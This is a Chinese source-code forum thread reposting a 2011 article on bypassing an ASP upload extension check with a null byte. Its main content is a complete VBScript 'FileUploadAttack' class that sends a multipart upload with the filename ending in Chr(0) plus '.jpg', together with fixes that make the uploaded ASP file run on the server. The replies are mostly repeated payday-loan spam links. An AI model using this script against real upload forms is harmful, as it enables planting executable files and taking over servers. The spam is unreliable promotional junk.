源码网,源码论坛,源码之家,商业源码,游戏源码下载,discuz插件,棋牌源码下载,精品源码论坛

 找回密码
 立即注册
查看: 664|回复: 40

[ASP编程] ASP上传漏洞之利用CHR(0)绕过扩展名检测脚本

[复制链接]

7万

主题

861

回帖

32万

积分

论坛元老

Rank: 8Rank: 8

积分
329525
发表于 2012-1-8 18:37:45 | 显示全部楼层 |阅读模式
本文部分脚本具有攻击性,仅供学习研究用,请用在合法合理范围内,对造成的损失本人不承担责任,本人也不提供黑客攻击技术指导

今天Demon 提到了这个问题,正好想到之前看到的一篇文章《Automatic file upload using IE+ADO without user interaction - VBSscript》 。这篇文章给出了本地无交互自动上传脚本的示例,正好今天可以借来一用,原脚本利用了InternetExplorer.Application组件,我改写了一下,用WinHttp.WinHttpRequest.5.1实现了类似的功能,关于这个组件更多的用法请参考《WinHttpRequest Object Reference》
复制代码 代码如下:
Option Explicit

Function file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject("Scripting.FilesystemObject")
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function

' 代码修改自 http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName

Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
"WinHttp.WinHttpRequest.5.1")
End Sub

Private Sub Class_Terminate()
Set m_objWinHttp = Nothing
End Sub

Public Sub setUrl(url)
m_strUrl = url
End Sub

Public Sub setFieldName(name)
m_strFieldName = name
End Sub

'Infrormations In form field header.
Function mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'template For multipart header
MPTemplate = "Content-Disposition: form-data; name=""{field}"";" + _
" filename=""{file}""" + vbCrLf + _
"Content-Type: {ct}" + vbCrLf + vbCrLf
Dim Out
Out = Replace(MPTemplate, "{field}", FieldName)
Out = Replace(Out, "{file}", FileName)
mpFields = Replace(Out, "{ct}", ContentType)
End Function
'Converts OLE string To multibyte string
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function

'Build multipart/form-data document with file contents And header info
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = "application/upload"

'The two parts around file contents In the multipart-form data.
Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + "--" + Boundary + "--" + vbCrLf

'Build form data using recordset binary field
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject("ADODB.Recordset")
RS.Fields.Append "b", adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Convert Pre string value To a binary data
LenData = Len(Pre)
RS("b").AppendChunk (StringToMB(Pre) & ChrB(0))
Pre = RS("b").GetChunk(LenData)
RS("b") = ""

'Convert Po string value To a binary data
LenData = Len(Po)
RS("b").AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS("b").GetChunk(LenData)
RS("b") = ""

'Join Pre + FileContents + Po binary data
RS("b").AppendChunk (Pre)
RS("b").AppendChunk (FileContents)
RS("b").AppendChunk (Po)
RS.Update
FormData = RS("b")
RS.Close
BuildFormData = FormData
End Function


Public Function sendFile(fileName)
Const Boundary = "---------------------------0123456789012"
m_objWinHttp.Open "POST", m_strUrl, False
m_objWinHttp.setRequestHeader "Content-Type", _
"multipart/form-data; boundary=" + Boundary

Dim FileContents, FormData
'Get source file As a binary data.
FileContents = file_get_contents(FileName)

' 下面构造了恶意文件扩展名Chr(0) & .jpg
'Build multipart/form-data document
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0) & ".jpg", m_strFieldName)

m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function

Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class

Function VBMain()
VBMain = 0

Dim fileUpload
Set fileUpload = New FileUploadAttack
' 需要修改下面内容为合适内容
' 上传url
fileUpload.setUrl "http://localhost/upload/uploadfile.asp"
fileUpload.setFieldName "filepath" ' 上传表单框的name
' 需上传文件路径
If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then
MsgBox "上传成功" & fileUpload.getText()
Else
MsgBox "失败"
End If
Set fileUpload = Nothing
End Function

Call WScript.Quit(VBMain())

上传功能是随便在网上找的一个简单上传ASP文件,然后加入我在文章中《ASP/VBScript中CHR(0)的由来以及带来的安全问题》所述的GetFileExtensionName判断扩展名是否是jpg。

测试结果是:手动上传asp,失败;利用上述攻击脚本上传asp文件,成功!在上传目录中确实是asp文件,通过浏览器URL也能访问这个asp文件,只是奇怪的是显示一片空白,我这里是IIS 7,难道是IIS版本问题,或许是file_get_contents应该返回文件的二进制流?好了,这个问题先搁在这儿,还有其他事,先闪了。

所有实验代码包,在这里upload.zip(代码BUG参考下面更新说明)下载。

2011年12月25日更新

根据大家反馈的上传文件变成Unicode Little Endian编码问题,首先抱歉的是当时确实偷懒了,主要代码参考的老外的,而且老外说明了一下GetFile这个函数获取文件二进制数据,没找到这个函数实现,也懒得去弄二进制读取,直接搞了个file_get_contents获取文本数据,事实证明这样确实存在问题,下面我把补救措施说明一下吧,还是偷懒一下,直接在现有的基础上将文本数据转换为二进制数据。使用ADODB.Stream组件,函数如下:

复制代码 代码如下:
' 将指定charset的字符串str转换为二进制
Function strtobin(str, charset)
With WSH.CreateObject("ADODB.Stream")
.Type = 2
.Mode = 3
.Open
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1

strtobin = .Read()
.Close
End With
End Function

然后将上述代码的第106行改成下面这样(以ASCII读取文本):

复制代码 代码如下:
FileContents = strtobin(file_get_contents(FileName), "ASCII")

这样改过后上传的ASP文件就是普通编码的文件了,然后浏览器访问这个文件,可以看到该ASP被成功解析。

不过这里觉得啰嗦了一点,其实可以直接以二进制打开文件并返回数据,这里进行了两步:1.以文本方式读取文件;2.将文本转换为二进制数据。一步到位的代码可以参考下面一次以二进制Byte()方式读取文件数据的函数:

复制代码 代码如下:
'Returns file contents As a binary data
Function GetFile(FileName)
Dim Stream: Set Stream = CreateObject("ADODB.Stream")
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nothing
End Function

更优化的代码我就不写了,主要说明的是一个上传思路,如果大家希望得到完善的上传实现,可以参考Demon的《VBS模拟POST上传文件》 。
原文: https://www.jb51.net/www.jb51.net/article/26103.htm

回复

使用道具 举报

4

主题

2万

回帖

303

积分

中级会员

Rank: 3Rank: 3

积分
303
发表于 2022-10-13 09:06:01 | 显示全部楼层
好东西可以可以可以可以
回复 支持 反对

使用道具 举报

匿名  发表于 2022-10-13 10:35:02

fast same day online loans

sykzus ·±нУЪ 2022-10-13 09:06
ГОчЙТФЙТФЙТФЙТФ

online fast loans
<a href="https://loans-online-apply.com/">personal loans fast</a>
paydays loans
<a href="https://youloan24.com/">personal cash loans</a>
payday advance
<a href="https://loanstoonline.com/">loans no credit check</a>
回复 支持 反对

使用道具

匿名  发表于 2022-10-13 10:35:34

cash advance payday loan

small installment loans
<a href="https://loans-online-apply.com/">personal loans quick</a>
online payday loan
<a href="https://youloan24.com/">cash advance payday loans</a>
usa payday loans
<a href="https://loanstoonline.com/">usa payday loans</a>
回复 支持 反对

使用道具

匿名  发表于 2022-10-13 10:36:12

payday loans bad credit

payday advance loans
<a href="https://loans-online-apply.com/">payday loans cash advance</a>
instant personal loans online
<a href="https://youloan24.com/">personal loan quick cash</a>
online loans no credit check same day
<a href="https://loanstoonline.com/">need fast easy personal loans online</a>
回复 支持 反对

使用道具

匿名  发表于 2022-10-13 10:36:47

immediate cash loan

cash advances online
<a href="https://loans-online-apply.com/">payday loans direct lenders</a>
payday loans online fast deposit
<a href="https://youloan24.com/">pay day cash advance</a>
cash payday advance
<a href="https://loanstoonline.com/">payday cash advance loans online</a>
回复 支持 反对

使用道具

匿名  发表于 2022-10-13 10:37:20

payday cash advance loans online

УОН 37.139.53.x ·±нУЪ 2022-10-13 10:35
online fast loans
personal loans fast
paydays loans

bad credit payday loans
<a href="https://loans-online-apply.com/">cash advance payday loans</a>
pay day loan
<a href="https://youloan24.com/">lead loans</a>
get cash loan
<a href="https://loanstoonline.com/">cash advance installment loans</a>
回复 支持 反对

使用道具

匿名  发表于 2022-10-13 10:37:58

personal loans

payday loan cash advances
<a href="https://loans-online-apply.com/">payday loans cash advance</a>
bad credit payday loans
<a href="https://youloan24.com/">small personal loans no credit</a>
same day installment loan
<a href="https://loanstoonline.com/">15 min payday loans</a>
回复 支持 反对

使用道具

匿名  发表于 2022-10-13 10:38:30

payday loans online same day

УОН 37.139.53.x ·±нУЪ 2022-10-13 10:37
payday loan cash advances
payday loans cash advance
bad credit payday loans

cash payday loans
<a href="https://loans-online-apply.com/">online loans no credit check</a>
fast payday loan company
<a href="https://youloan24.com/">cash advance payday loan</a>
personal cash loans
<a href="https://loanstoonline.com/">payday sam online loans</a>
回复 支持 反对

使用道具

匿名  发表于 2022-10-13 10:38:58

fast same day online loans

УОН 37.139.53.x ·±нУЪ 2022-10-13 10:36
payday advance loans
payday loans cash advance
instant personal loans online

cash loans online
<a href="https://loans-online-apply.com/">student loans</a>
cash payday advance
<a href="https://youloan24.com/">online personal loans</a>
personal loans quick
<a href="https://loanstoonline.com/">quick cash payday loan</a>
回复 支持 反对

使用道具

高级模式
B Color Image Link Quote Code Smilies

本版积分规则

手机版|小黑屋|网站地图|源码论坛 ( 海外版 )

GMT+8, 2024-11-23 22:32 , Processed in 0.068903 second(s), 26 queries .

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表